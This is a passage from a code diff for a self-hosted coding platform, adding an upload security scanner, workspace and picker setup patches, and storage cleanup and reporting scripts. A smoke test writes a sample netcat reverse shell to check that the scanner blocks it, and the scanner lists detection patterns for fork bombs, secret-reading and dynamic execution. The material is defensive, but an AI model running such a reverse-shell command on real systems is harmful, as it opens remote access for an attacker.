{ re: /:\\s*\\(\\s*\\)\\s*\\{\\s*:\\s*\\|\\s*:/, why: 'fork 炸弹' },
|
||||
]
|
||||
|
||||
/**
|
||||
* P1:可疑但常见 → **不阻断**,作为 findings 上报(管理员人工复核)。
|
||||
* 说明书见档案 19 §C6 与档案 17 §S/M。
|
||||
*/
|
||||
const WARN_RULES: Array<{ id: string; re: RegExp; why: string }> = [
|
||||
{ id: 'dynamic-exec', re: /\\b(?:child_process|execSync|execFileSync|spawnSync|require\\('child_process'\\))/, why: '动态执行子进程(需确认目标命令可信)' },
|
||||
{ id: 'vm-eval', re: /\\b(?:new\\s+Function\\s*\\(|require\\('vm'\\)|from 'node:vm'|eval\\s*\\()/, why: '动态求值 vm/eval/new Function' },
|
||||
{ id: 'sensitive-env', re: /process\\.env\\s*[.\\[]\\s*['"]?(?:DEEPSEEK_API_KEY|DSH_[A-Z_]+|[A-Z_]*TOKEN|[A-Z_]*SECRET|[A-Z_]*KEY)/, why: '读取敏感环境变量' },
|
||||
{ id: 'long-base64', re: /[A-Za-z0-9+/]{600,}={0,2}/, why: '超长 base64 载荷(可能是混淆/内嵌二进制)' },
|
||||
{ id: 'network-egress', re: /https?:\\/\\/(?!localhost|127\\.0\\.0\\.1)[a-z0-9.-]+\\.[a-z]{2,}/i, why: '外部网络访问(需确认域名可信;配合出网护栏)' },
|
||||
{ id: 'hidden-or-git', re: /(?:\\.git\\/|(?:^|\\/)\\.[a-z][a-z0-9_-]*\\/)/i, why: '包含隐藏目录/.git(可能携带仓库元数据或绕过审查)' },
|
||||
]
|
||||
|
||||
/** 一条扫描发现(P1 告警)。 */
|
||||
export interface ScanFinding { rule: string; why: string; file: string }""", 1)
|
||||
|
||||
# scanDir:跳过二进制、用新上限、收集 P1 findings 并返回
|
||||
s = s.replace("""/** Recursively scan text files under `root` for dangerous patterns. */
|
||||
export function scanDir(root: string, rel = ''): void {""",
|
||||
"""/**
|
||||
* Recursively scan text files under `root`.
|
||||
* P0 命中 → 抛 400(阻断上传);P1 命中 → 收集并**返回**(调用方可记录/展示,不影响上传)。
|
||||
*/
|
||||
export function scanDir(root: string, rel = '', findings: ScanFinding[] = []): ScanFinding[] {""", 1)
|
||||
s = s.replace(""" if (st.isDirectory()) {
|
||||
scanDir(abs, relPath)
|
||||
continue
|
||||
}""",
|
||||
""" if (st.isDirectory()) {
|
||||
scanDir(abs, relPath, findings)
|
||||
continue
|
||||
}""", 1)
|
||||
s = s.replace(""" const ext = dot >= 0 ? base.slice(dot).toLowerCase() : ''
|
||||
if (!SCAN_TEXT_EXT.has(ext)) continue
|
||||
if (st.size > 2 * 1024 * 1024) continue // skip huge files (unlikely to be source)
|
||||
let text: string
|
||||
try {
|
||||
text = readFileSync(abs, 'utf8')
|
||||
} catch {
|
||||
continue
|
||||
}
|
||||
for (const p of DANGEROUS_PATTERNS) {
|
||||
if (p.re.test(text)) {
|
||||
throw httpError(400, `安全检测未通过:${p.why}(${relPath})`)
|
||||
}
|
||||
}
|
||||
}
|
||||
}""",
|
||||
""" const ext = dot >= 0 ? base.slice(dot).toLowerCase() : ''
|
||||
const hasShebangCandidate = ext === '' // 无扩展名文件也可能是脚本(按内容判 shebang)
|
||||
if (!SCAN_TEXT_EXT.has(ext) && !hasShebangCandidate) continue
|
||||
if (st.size > SCAN_MAX_BYTES) continue // 跳过超大文件(不太可能是源码)
|
||||
let text: string
|
||||
try {
|
||||
text = readFileSync(abs, 'utf8')
|
||||
} catch {
|
||||
continue
|
||||
}
|
||||
// 二进制探测 + shebang 判定(0x00 视为二进制;无扩展名须含 shebang 才继续)
|
||||
if (text.includes('\\u0000')) continue
|
||||
if (hasShebangCandidate && !/^#!\\s*\\S/.test(text.slice(0, 64))) continue
|
||||
for (const p of BLOCK_PATTERNS) {
|
||||
if (p.re.test(text)) {
|
||||
throw httpError(400, `安全检测未通过(P0 阻断):${p.why}(${relPath})`)
|
||||
}
|
||||
}
|
||||
for (const w of WARN_RULES) {
|
||||
if (w.re.test(text)) {
|
||||
findings.push({ rule: w.id, why: w.why, file: relPath })
|
||||
}
|
||||
}
|
||||
}
|
||||
return findings
|
||||
}""", 1)
|
||||
wr(p, s)
|
||||
|
||||
# 调用点:记录并回传 P1 findings(加法式,不改变原有阻断行为)
|
||||
sub('src/web/routes/business-plugins.ts', ' scanDir(unzipDir)',
|
||||
""" const scanFindings = scanDir(unzipDir)
|
||||
if (scanFindings.length > 0) {
|
||||
// P1 告警:不阻断,仅记录(管理员可在响应中看到)
|
||||
request.log.warn({ findings: scanFindings.slice(0, 20), count: scanFindings.length }, 'upload-scan-warnings')
|
||||
}""")
|
||||
sub('src/web/routes/skills.ts', ' scanDir(unzipDir)',
|
||||
""" const scanFindings = scanDir(unzipDir)
|
||||
if (scanFindings.length > 0) {
|
||||
request.log.warn({ findings: scanFindings.slice(0, 20), count: scanFindings.length }, 'upload-scan-warnings')
|
||||
}""")
|
||||
|
||||
# ───────────────────────── B2:编排器自愈补齐 picker ─────────────────────────
|
||||
p = 'src/supervisor/orchestrator.ts'
|
||||
s = rd(p)
|
||||
assert "import { execFileSync, spawn," in s
|
||||
s = s.replace(""" /** Stop the current main (clean) and respawn it with the same folder/patch. */""",
|
||||
""" /**
|
||||
* 档案 18 v3 收尾(第二层自愈):确保该用户的 profile 具备"受限目录选择器"
|
||||
* (平台段 + 插件包)—— 复用平台脚本 `ensure-workspace-picker.cjs --user-id <id>`(幂等)。
|
||||
* 异步 fire-and-forget:不阻塞启动;失败只记日志(第一层由 provisioning 钩子兜底)。
|
||||
* 覆盖场景:profile 被清空/重建、手工删掉平台段、插件被卸载。
|
||||
*/
|
||||
private ensurePickerProfile(userId: string): void {
|
||||
const script =
|
||||
process.env.DSH_PICKER_ENSURE_SCRIPT ??
|
||||
join(process.cwd(), 'poc', 'workspace-scoped-picker', 'ensure-workspace-picker.cjs')
|
||||
if (!existsSync(script)) return
|
||||
try {
|
||||
const child = spawn('node', [script, '--user-id', userId], { detached: true, stdio: 'ignore' })
|
||||
child.on('error', (err) => {
|
||||
process.stderr.write(`[picker-ensure] spawn failed: ${err.message}\\n`)
|
||||
})
|
||||
child.unref()
|
||||
} catch (err) {
|
||||
process.stderr.write(
|
||||
`[picker-ensure] failed for ${userId}: ${err instanceof Error ? err.message : String(err)}\\n`,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
/** Stop the current main (clean) and respawn it with the same folder/patch. */""", 1)
|
||||
s = s.replace("import { chmodSync, chownSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs'",
|
||||
"import { chmodSync, chownSync, existsSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs'", 1)
|
||||
# 调用点:launch 前 + spawn 后
|
||||
s = s.replace(""" // 显式启动 = 新一轮:清空崩溃计数(用户重新进入后应拿到完整重试预算,档案 20)。
|
||||
this.resetCrashState(userId)""",
|
||||
""" // 显式启动 = 新一轮:清空崩溃计数(用户重新进入后应拿到完整重试预算,档案 20)。
|
||||
this.resetCrashState(userId)
|
||||
// 档案 18 v3 收尾:启动前补齐"受限目录选择器"(幂等;首登 profile 尚未创建时会自行跳过)。
|
||||
this.ensurePickerProfile(userId)""", 1)
|
||||
s = s.replace(""" if (isMain) await this.seedDefaultWorkspace(userId)""",
|
||||
""" // spawn 成功后异步再补一次:首登时 profile 刚被 dsh 创建,这一次能真正装上(第二层自愈)。
|
||||
if (isMain) this.ensurePickerProfile(userId)""", 1)
|
||||
wr(p, s)
|
||||
print('B4 + B2 已写入')
|
||||
@@ -0,0 +1,88 @@
|
||||
#!/usr/bin/env python3
|
||||
# 档案 24 后续:预置默认工作区(编辑器要求"必须选工作区"才能开会话 → 平台直接种 ws)
|
||||
# 用法: python3 patch-seed-workspace.py /opt/dshs
|
||||
import io
|
||||
import os
|
||||
import sys
|
||||
|
||||
root = sys.argv[1] if len(sys.argv) > 1 else '.'
|
||||
p = os.path.join(root, 'src/supervisor/orchestrator.ts')
|
||||
s = io.open(p, encoding='utf-8').read()
|
||||
|
||||
|
||||
def sub(old, new, cnt=1):
|
||||
global s
|
||||
assert old in s, 'anchor not found:\n' + old[:200]
|
||||
s = s.replace(old, new, cnt)
|
||||
|
||||
|
||||
# 1) 补 fs 导入
|
||||
sub(
|
||||
"import { chmodSync, mkdirSync, writeFileSync } from 'node:fs'",
|
||||
"import { chmodSync, chownSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs'",
|
||||
)
|
||||
|
||||
# 2) 在 spawnInstance 里对 main 预置工作区
|
||||
sub(
|
||||
""" const map = role === 'main' ? this.mains : this.watchdogs
|
||||
map.set(userId, instance)""",
|
||||
""" const map = role === 'main' ? this.mains : this.watchdogs
|
||||
map.set(userId, instance)
|
||||
|
||||
// 档案 24 后续:main 启动前预置默认工作区(编辑器要求"必须选择工作区"才能开始会话;
|
||||
// 平台直接把用户 ws 种进 workspace 存储 → 用户开箱即用、且 UI 只显示短标题而非完整路径)。
|
||||
if (isMain) await this.seedDefaultWorkspace(userId)""",
|
||||
)
|
||||
|
||||
# 3) 新增 seedDefaultWorkspace 方法(放在 writePatch 之前)
|
||||
sub(
|
||||
""" /** Materialize the rendered patch so the dsh CLI can `--patch <file>` it.""",
|
||||
""" /**
|
||||
* 预置默认工作区(幂等,仅在工作区列表为空时写入):
|
||||
* 把 `<userRoot>/ws` 以短标题「我的工作区」写进 `<home>/storages/workspace.json`,
|
||||
* 使新用户/清空后无需手动选择工作区即可开始会话;已有工作区时**不覆盖**用户现状。
|
||||
* 失败不阻断启动(只记日志)。
|
||||
*/
|
||||
private async seedDefaultWorkspace(userId: string): Promise<void> {
|
||||
const root = userRoot(this.config.dataRoot, userId)
|
||||
const dir = join(homeRoot(root), 'storages')
|
||||
const file = join(dir, 'workspace.json')
|
||||
try {
|
||||
mkdirSync(dir, { recursive: true })
|
||||
let existing: { global?: { workspaceIds?: unknown } } | undefined
|
||||
try {
|
||||
existing = JSON.parse(readFileSync(file, 'utf8')) as { global?: { workspaceIds?: unknown } }
|
||||
} catch {
|
||||
existing = undefined
|
||||
}
|
||||
const ids = existing?.global?.workspaceIds
|
||||
if (Array.isArray(ids) && ids.length > 0) return // 已有工作区 → 尊重用户现状
|
||||
const ws = workspaceRoot(root)
|
||||
const id = randomUUID()
|
||||
const now = new Date().toISOString()
|
||||
const seed = {
|
||||
unit: { name: 'workspace', version: 2 },
|
||||
global: { initialized: true, workspaceIds: [id], archivedSessionIds: [] },
|
||||
tables: {
|
||||
workspaces: {
|
||||
[id]: { path: ws, title: '我的工作区', sessionIds: [], createdAt: now, updatedAt: now },
|
||||
},
|
||||
},
|
||||
}
|
||||
writeFileSync(file, JSON.stringify(seed, null, 2) + '\\n')
|
||||
const uid = await this.resolveUid(userId)
|
||||
chownSync(file, uid, uid) // 实例以该 uid 运行,需可读写
|
||||
chownSync(dir, uid, uid)
|
||||
process.stderr.write(`[seed-workspace] ${userId} → ${ws}\\n`)
|
||||
} catch (err) {
|
||||
process.stderr.write(
|
||||
`[seed-workspace] failed for ${userId}: ${err instanceof Error ? err.message : String(err)}\\n`,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
/** Materialize the rendered patch so the dsh CLI can `--patch <file>` it.""",
|
||||
)
|
||||
|
||||
io.open(p, 'w', encoding='utf-8', newline='').write(s)
|
||||
print('patched: fs import + spawnInstance 调用 + seedDefaultWorkspace 方法')
|
||||
@@ -0,0 +1,12 @@
|
||||
#!/usr/bin/env bash
|
||||
# purge-trash.sh —— 清理各用户 trash/ 下超过 30 天的回收目录(档案 28)
|
||||
# 回收站是"清理动作的缓冲区":脚本只做 mv 进来,只有本脚本才真正 rm。
|
||||
set -uo pipefail
|
||||
KEEP_DAYS="${1:-30}"
|
||||
LOG=/var/log/dsh-trash-purge.log
|
||||
echo "[$(date -Is)] purge trash older than ${KEEP_DAYS}d" >> "$LOG"
|
||||
for t in /var/lib/dshs/users/*/trash; do
|
||||
[ -d "$t" ] || continue
|
||||
find "$t" -mindepth 1 -maxdepth 1 -mtime "+${KEEP_DAYS}" -print -exec rm -rf {} + >> "$LOG" 2>&1
|
||||
done
|
||||
echo "[$(date -Is)] done" >> "$LOG"
|
||||
@@ -0,0 +1,21 @@
|
||||
// 安全扫描分级冒烟(P0 阻断 / P1 告警)
|
||||
const { mkdtempSync, writeFileSync, rmSync } = require('node:fs')
|
||||
const { join } = require('node:path')
|
||||
const { tmpdir } = require('node:os')
|
||||
const { scanDir } = require('/opt/dshs/lib/web/security-scan.js')
|
||||
|
||||
const dir = mkdtempSync(join(tmpdir(), 'scan-smoke-'))
|
||||
// ① P1 样例:动态执行 + 敏感 env(应告警不阻断)
|
||||
writeFileSync(join(dir, 'a.js'), 'const cp = require("child_process");\nconst k = process.env.DEEPSEEK_API_KEY;\n')
|
||||
let findings = []
|
||||
try { findings = scanDir(dir) } catch (e) { console.log(' ❌ P1 样例被阻断(不该):', e.message.slice(0, 80)) }
|
||||
console.log(' ① P1 样例 findings:', JSON.stringify(findings))
|
||||
// ② P0 样例:反弹 shell(应阻断)
|
||||
writeFileSync(join(dir, 'b.py'), 'import os\nos.system("nc -e /bin/sh 1.2.3.4 4444")\n')
|
||||
try { scanDir(dir); console.log(' ❌ P0 样例未阻断(不该)') } catch (e) { console.log(' ✅ P0 样例已阻断:', e.message.slice(0, 90)) }
|
||||
// ③ 良性样例:不应有任何 finding
|
||||
const clean = mkdtempSync(join(tmpdir(), 'scan-clean-'))
|
||||
writeFileSync(join(clean, 'ok.js'), 'export const hello = (n) => `hi ${n}`\n')
|
||||
const cleanFindings = scanDir(clean)
|
||||
console.log(' ② 良性样例 findings:', JSON.stringify(cleanFindings), cleanFindings.length === 0 ? '✅' : '❌')
|
||||
rmSync(dir, { recursive: true, force: true }); rmSync(clean, { recursive: true, force: true })
|
||||
@@ -0,0 +1,79 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* session-gc.cjs —— 会话记录保留期回收(档案 14 §H3 / 档案 28)
|
||||
* 规则(用户 2026-09-11 定):**每个用户的 sessions 达到阈值才触发**,清理 **超过 N 天** 的会话目录。
|
||||
* 结构:<home>/sessions/<workspace-slug>/<session-id>/session.jsonl.zstd
|
||||
* 安全:默认 dry-run;--apply 时 `mv` 到 <userRoot>/trash/<日期>-session-gc/(保留 30 天)。
|
||||
* 说明:storages/session_projcache 体积很小(KB 级),本脚本不动它(留作后续细化)。
|
||||
*
|
||||
* 用法:node session-gc.cjs [--apply] [--threshold 500] [--days 90] [--user-id <uuid>]
|
||||
*/
|
||||
const { execFileSync } = require('node:child_process')
|
||||
const { existsSync, mkdirSync, readdirSync, statSync } = require('node:fs')
|
||||
const { join } = require('node:path')
|
||||
const Database = require('/opt/dshs/node_modules/better-sqlite3')
|
||||
|
||||
const argv = process.argv.slice(2)
|
||||
const APPLY = argv.includes('--apply')
|
||||
const num = (flag, dflt) => { const i = argv.indexOf(flag); const v = i >= 0 ? Number(argv[i + 1]) : NaN; return Number.isFinite(v) ? v : dflt }
|
||||
const THRESHOLD_MB = num('--threshold', 500)
|
||||
const DAYS = num('--days', 90)
|
||||
const idx = argv.indexOf('--user-id')
|
||||
const ONLY = idx >= 0 ? argv[idx + 1] : ''
|
||||
const STAMP = new Date().toISOString().slice(0, 10)
|
||||
const CUTOFF = Date.now() - DAYS * 86400_000
|
||||
|
||||
const duKB = (p) => { try { return Number(execFileSync('du', ['-sk', p], { encoding: 'utf8' }).split(/\s+/)[0]) * 1024 } catch { return 0 } }
|
||||
const fmt = (b) => (b >= 1048576 ? (b / 1048576).toFixed(1) + ' MB' : (b / 1024).toFixed(0) + ' KB')
|
||||
|
||||
const db = new Database('/var/lib/dshs/dshs.db', { readonly: true })
|
||||
const users = db.prepare('SELECT id, username, uid, home_dir FROM users').all().filter((u) => ONLY === '' || u.id === ONLY)
|
||||
|
||||
for (const u of users) {
|
||||
const sessions = join(u.home_dir, 'sessions')
|
||||
if (!existsSync(sessions)) { console.log(` ${u.username}: NO_SESSIONS`); continue }
|
||||
const total = duKB(sessions)
|
||||
const over = total >= THRESHOLD_MB * 1048576
|
||||
const stale = []
|
||||
for (const slug of readdirSync(sessions)) {
|
||||
const slugDir = join(sessions, slug)
|
||||
let st; try { st = statSync(slugDir) } catch { continue }
|
||||
if (!st.isDirectory()) continue
|
||||
for (const sid of readdirSync(slugDir)) {
|
||||
const sd = join(slugDir, sid)
|
||||
let sst; try { sst = statSync(sd) } catch { continue }
|
||||
if (!sst.isDirectory()) continue
|
||||
const f = join(sd, 'session.jsonl.zstd')
|
||||
let mtime = sst.mtimeMs
|
||||
try { if (existsSync(f)) mtime = statSync(f).mtimeMs } catch {}
|
||||
if (mtime < CUTOFF) stale.push({ p: sd, size: duKB(sd), mtime: new Date(mtime) })
|
||||
}
|
||||
}
|
||||
const staleB = stale.reduce((a, c) => a + c.size, 0)
|
||||
console.log(` ${u.username}: sessions=${fmt(total)} (${over ? '≥' : '<'} 阈值 ${THRESHOLD_MB}MB) | 超 ${DAYS} 天会话=${stale.length} 个 / ${fmt(staleB)}`)
|
||||
for (const c of stale) console.log(` ${c.p.split('/').slice(-2).join('/')} ${fmt(c.size)} (${c.mtime.toISOString().slice(0, 10)})`)
|
||||
if (APPLY && over && stale.length > 0) {
|
||||
const trash = join(u.home_dir, '..', 'trash', `${STAMP}-session-gc`)
|
||||
mkdirSync(trash, { recursive: true })
|
||||
for (const c of stale) {
|
||||
const dest = join(trash, c.p.split('/').slice(-2).join('__'))
|
||||
try { execFileSync('mv', [c.p, dest]); execFileSync('chown', ['-R', `${u.uid}:${u.uid}`, dest]) }
|
||||
catch (e) { console.log(` ! 失败 ${c.p}: ${String(e.message).split('\n')[0]}`) }
|
||||
}
|
||||
// 同步回收投影缓存:storages/session_projcache/sessions/<session-id>.json(按 id 精确匹配)
|
||||
const pcDir = join(u.home_dir, 'storages', 'session_projcache', 'sessions')
|
||||
let pcMoved = 0
|
||||
if (existsSync(pcDir)) {
|
||||
for (const c of stale) {
|
||||
const sid = c.p.split('/').pop()
|
||||
const pc = join(pcDir, `${sid}.json`)
|
||||
if (existsSync(pc)) {
|
||||
try { execFileSync('mv', [pc, join(trash, `projcache__${sid}.json`)]); pcMoved += 1 } catch {}
|
||||
}
|
||||
}
|
||||
}
|
||||
console.log(` → 已移 ${stale.length} 个会话 / ${fmt(staleB)}${pcMoved > 0 ? `(+ ${pcMoved} 个投影缓存)` : ''} → trash/${STAMP}-session-gc(保留 30 天)`)
|
||||
} else if (APPLY && !over) console.log(' (未超阈值,跳过)')
|
||||
}
|
||||
db.close()
|
||||
console.log(APPLY ? 'done(已按阈值执行)' : 'done(dry-run,未改动)')
|
||||
@@ -0,0 +1,62 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* storage-report.cjs —— 每用户存储用量上报(档案 28)
|
||||
* 输出:/var/run/dsh-storage-report.json(供门户 GET /api/admin/storage 直接读取,避免每次请求都 du)
|
||||
* cron:每小时一次。
|
||||
*/
|
||||
const { execFileSync } = require('node:child_process')
|
||||
const { existsSync, writeFileSync } = require('node:fs')
|
||||
const { join } = require('node:path')
|
||||
const Database = require('/opt/dshs/node_modules/better-sqlite3')
|
||||
|
||||
const OUT = process.env.DSH_STORAGE_REPORT ?? '/var/run/dsh-storage-report.json'
|
||||
const WS_MB = Number(process.env.DSH_WS_THRESHOLD_MB ?? 2048)
|
||||
const SESS_MB = Number(process.env.DSH_SESSIONS_THRESHOLD_MB ?? 1024)
|
||||
|
||||
const duKB = (p) => { try { return Number(execFileSync('du', ['-sk', p], { encoding: 'utf8' }).split(/\s+/)[0]) * 1024 } catch { return 0 } }
|
||||
const db = new Database('/var/lib/dshs/dshs.db', { readonly: true })
|
||||
const users = db.prepare('SELECT username, home_dir FROM users ORDER BY username').all()
|
||||
|
||||
const rows = users.map((u) => {
|
||||
const ws = join(u.home_dir, '..', 'ws'), sessions = join(u.home_dir, 'sessions'), trash = join(u.home_dir, '..', 'trash')
|
||||
const t1 = [], t2 = []
|
||||
// 仅统计顶层候选(与 ws-cleanup 口径一致),供管理员判断
|
||||
if (existsSync(ws)) {
|
||||
const { readdirSync, statSync } = require('node:fs')
|
||||
const T1_DIRS = ['.local', '.cache', '.poc-backup', 'poc', '__pycache__', '.pytest_cache', 'node_modules', '.ipynb_checkpoints']
|
||||
const T1_SUFFIX = ['.tgz', '.tmp', '.log', '.bak', '.part', '.crdownload']
|
||||
const T2_EXT = new Set(['.py', '.js', '.mjs', '.cjs', '.sh', '.bash', '.ps1', '.psm1', '.bat', '.cmd', '.ts', '.ipynb', '.sql'])
|
||||
const CUTOFF = Date.now() - 90 * 86400_000
|
||||
for (const e of readdirSync(ws)) {
|
||||
const p = join(ws, e)
|
||||
let st; try { st = statSync(p) } catch { continue }
|
||||
if (st.isDirectory()) { if (T1_DIRS.includes(e)) t1.push({ name: e, size: duKB(p) }); continue }
|
||||
const dot = e.lastIndexOf('.')
|
||||
const ext = dot >= 0 ? e.slice(dot).toLowerCase() : ''
|
||||
if (T1_SUFFIX.includes(ext)) t1.push({ name: e, size: st.size })
|
||||
else if (T2_EXT.has(ext) && st.mtimeMs < CUTOFF) t2.push({ name: e, size: st.size })
|
||||
}
|
||||
}
|
||||
const wsB = existsSync(ws) ? duKB(ws) : 0
|
||||
const sessB = existsSync(sessions) ? duKB(sessions) : 0
|
||||
const trashB = existsSync(trash) ? duKB(trash) : 0
|
||||
return {
|
||||
username: u.username,
|
||||
ws: wsB, sessions: sessB, trash: trashB, total: wsB + sessB + trashB,
|
||||
wsOver: wsB >= WS_MB * 1048576, sessionsOver: sessB >= SESS_MB * 1048576,
|
||||
cleanableT1: t1.length, cleanableT2: t2.length,
|
||||
cleanableBytes: [...t1, ...t2].reduce((a, c) => a + c.size, 0),
|
||||
topCleanable: [...t1, ...t2].sort((a, b) => b.size - a.size).slice(0, 5).map((c) => `${c.name} (${(c.size / 1048576).toFixed(1)}MB)`),
|
||||
}
|
||||
})
|
||||
db.close()
|
||||
const report = {
|
||||
generatedAt: new Date().toISOString(),
|
||||
thresholds: { wsMB: WS_MB, sessionsMB: SESS_MB, keepDays: { ws: 90, sessions: 365 }, trashKeepDays: 30 },
|
||||
totals: { ws: rows.reduce((a, r) => a + r.ws, 0), sessions: rows.reduce((a, r) => a + r.sessions, 0), trash: rows.reduce((a, r) => a + r.trash, 0) },
|
||||
users: rows,
|
||||
}
|
||||
writeFileSync(OUT, JSON.stringify(report, null, 2) + '\n')
|
||||
const fmt = (b) => (b >= 1073741824 ? (b / 1073741824).toFixed(2) + 'G' : (b / 1048576).toFixed(1) + 'M')
|
||||
for (const r of rows) console.log(` ${r.username}: ws=${fmt(r.ws)} sessions=${fmt(r.sessions)} trash=${fmt(r.trash)} | 可清 ${r.cleanableT1 + r.cleanableT2} 项/${fmt(r.cleanableBytes)}`)
|
||||
console.log(` → 已写入 ${OUT}`)
|
||||
@@ -0,0 +1,45 @@
|
||||
# @dsh-local/workspace-scoped-picker
|
||||
|
||||
会话内「添加工作区」目录选择器:把列举/建目录的根收敛为**当前用户自有目录**(`<userRoot>/ws`),
|
||||
所有用户含 admin 一视同仁。见文档库档案 18。
|
||||
|
||||
## 生效机制(2026-09-11 实证修订)
|
||||
|
||||
| 尝试 | 结果 |
|
||||
|---|---|
|
||||
| bundle patch 用「同 id 换 name」覆盖官方 `directory-picker` 行 | ❌ 不生效(官方 `-auto` 行原样保留) |
|
||||
| profile `cordis.patch.yml` 用「同 id 换 name」覆盖 | ❌ 不生效(dump-config 实测未应用) |
|
||||
| **profile 层:`insert` 自建行 + 对官方行 `disabled: true`** | ✅ 采用(`disabled` 是档案 09 已验证的机制) |
|
||||
|
||||
生效写法(写入 `<profile>/cordis.patch.yml`):
|
||||
|
||||
```yaml
|
||||
- insert:
|
||||
- id: workspace-scoped-picker
|
||||
name: "@dsh-local/workspace-scoped-picker"
|
||||
- id: directory-picker
|
||||
name: "@deepseek-ai/dsh-host-directory-picker-auto"
|
||||
disabled: true
|
||||
```
|
||||
|
||||
## 安装(必须走 pnpm)
|
||||
|
||||
```bash
|
||||
cd <profile dir>
|
||||
HOME=<userRoot>/ws pnpm add file:<userRoot>/ws/workspace-scoped-picker-0.1.0.tgz
|
||||
# 手放 node_modules 无效:pnpm-lock.yaml 才是安装账本
|
||||
```
|
||||
|
||||
## 依赖解析
|
||||
|
||||
唯一外部物是官方 seam 基类,用**绝对路径动态 import** 取得(不复制/不改官方包):
|
||||
`/usr/local/lib/node_modules/@deepseek-ai/dsh/node_modules/@deepseek-ai/dsh-host-directory-picker/lib/index.js`,
|
||||
可用 `DSH_SEAM_DIRECTORY_PICKER` 覆盖。
|
||||
|
||||
## 自检
|
||||
|
||||
```bash
|
||||
DSH_WORKSPACE_ROOT=/tmp/picker-test node test/poc.mjs # 26 项断言;须从实例 uid 可读的路径运行
|
||||
```
|
||||
|
||||
> 注意:源码在 `/opt/dshs/poc/`(700 root),实例 uid 读不到 → 安装时必须**复制**到 profile。
|
||||
@@ -0,0 +1,9 @@
|
||||
# @dsh-local/workspace-scoped-picker — bundle patch(**空补丁,勿在此插入行**)
|
||||
#
|
||||
# 2026-09-11 事故记录:本文件曾写成 insert `workspace-scoped-picker` 行,而 profile 层
|
||||
# 的 cordis.patch.yml 也 insert 同一 id → 加载器报
|
||||
# "duplicate loader entry id: workspace-scoped-picker" → 实例启动失败并崩溃循环(已熔断)。
|
||||
#
|
||||
# 结论:**本包的行由 profile 层单点插入**(平台安装脚本写入,与官方行的 disabled 一起),
|
||||
# 本 bundle patch 保持空,避免双写。
|
||||
[]
|
||||
@@ -0,0 +1,93 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* ensure-workspace-picker-patch.cjs —— 把「工作区目录选择器收敛」平台段幂等写入各用户 profile patch。
|
||||
*
|
||||
* 背景(档案 18 v3,2026-09-11 实测):
|
||||
* · 官方 dsh-web-app 的 `directory-picker` 行(@…-auto) 在启动时**连带挂载客户端对话框**
|
||||
* (@deepseek-ai/dsh-client-ui-directory-picker-browse);把它 disabled 会让对话框消失(点不动)。
|
||||
* · 该 client 包自带 dsh.client 元数据,可**单独作为一行**插入 → 保留官方对话框 UI。
|
||||
* · host 面(seam) 改由自建 @dsh-local/workspace-scoped-picker 提供:根固定为 <userRoot>/ws,
|
||||
* 越界(/etc、..、他人目录、符号链接逃逸)一律拒绝 → 路径框里手输也出不去。
|
||||
* · 另由该插件的 client 面注入 CSS,隐藏「改路径」入口(crumbEditZone/Glyph)。
|
||||
*
|
||||
* 用法:
|
||||
* node ensure-workspace-picker-patch.cjs # 全部用户(幂等)
|
||||
* node ensure-workspace-picker-patch.cjs --dry-run # 只打印计划
|
||||
* node ensure-workspace-picker-patch.cjs --restart # 写后 kill 实例(由崩溃自愈拉起,读新 patch)
|
||||
* node ensure-workspace-picker-patch.cjs admin guest # 指定用户
|
||||
*
|
||||
* 幂等:以 BEGIN/END 标记包裹平台段;已存在即跳过(不改内容)。
|
||||
* 注意:本脚本**只追加平台段**,不触碰既有内容(角色 patch 等原样保留)。
|
||||
*/
|
||||
const { execFileSync } = require('node:child_process')
|
||||
const { existsSync, readFileSync, writeFileSync } = require('node:fs')
|
||||
const { join } = require('node:path')
|
||||
const Database = require('/opt/dshs/node_modules/better-sqlite3')
|
||||
|
||||
const DB_PATH = '/var/lib/dshs/dshs.db'
|
||||
const PROFILE = 'web'
|
||||
const BEGIN = '# >>> platform: workspace-scoped-picker (managed by ensure-workspace-picker-patch.cjs)'
|
||||
const END = '# <<< platform: workspace-scoped-picker'
|
||||
const DRY = process.argv.includes('--dry-run')
|
||||
const RESTART = process.argv.includes('--restart')
|
||||
const only = process.argv.slice(2).filter((a) => !a.startsWith('--'))
|
||||
|
||||
const BLOCK = [
|
||||
BEGIN,
|
||||
'# 目录选择器收敛:官方对话框 UI 保留(单独插入 client 面),host 面换成受限实现(根=自有 ws)',
|
||||
'- insert:',
|
||||
' - id: workspace-scoped-picker',
|
||||
' name: "@dsh-local/workspace-scoped-picker"',
|
||||
' - id: ui-directory-picker-browse',
|
||||
' name: "@deepseek-ai/dsh-client-ui-directory-picker-browse"',
|
||||
'- id: directory-picker',
|
||||
' name: "@deepseek-ai/dsh-host-directory-picker-auto"',
|
||||
' disabled: true',
|
||||
END,
|
||||
'',
|
||||
].join('\n')
|
||||
|
||||
const db = new Database(DB_PATH, { readonly: true })
|
||||
const users = db
|
||||
.prepare('SELECT username, uid, home_dir FROM users')
|
||||
.all()
|
||||
.filter((u) => only.length === 0 || only.includes(u.username))
|
||||
|
||||
for (const user of users) {
|
||||
const patchPath = join(user.home_dir, 'profiles', PROFILE, 'cordis.patch.yml')
|
||||
if (!existsSync(patchPath)) {
|
||||
console.log(` ${user.username}: NO_PROFILE(用户未首登 spawn,先登录一次)`)
|
||||
continue
|
||||
}
|
||||
const current = readFileSync(patchPath, 'utf8')
|
||||
if (current.includes(BEGIN)) {
|
||||
console.log(` ${user.username}: skip(平台段已存在)`)
|
||||
continue
|
||||
}
|
||||
const body = current.trim() === '' || current.trim() === '[]' ? '' : current.trimEnd() + '\n\n'
|
||||
const next = body + BLOCK
|
||||
if (DRY) {
|
||||
console.log(` ${user.username}: [dry-run] 将写入 ${patchPath}`)
|
||||
continue
|
||||
}
|
||||
writeFileSync(patchPath, next, 'utf8')
|
||||
try {
|
||||
execFileSync('chown', [`${user.uid}:${user.uid}`, patchPath])
|
||||
} catch {}
|
||||
console.log(` ${user.username}: wrote(已追加平台段)${RESTART ? ' + 重启实例' : ''}`)
|
||||
if (RESTART) {
|
||||
try {
|
||||
const out = execFileSync('ps', ['-eo', 'pid,user', '--no-headers'], { encoding: 'utf8' })
|
||||
for (const line of out.split('\n')) {
|
||||
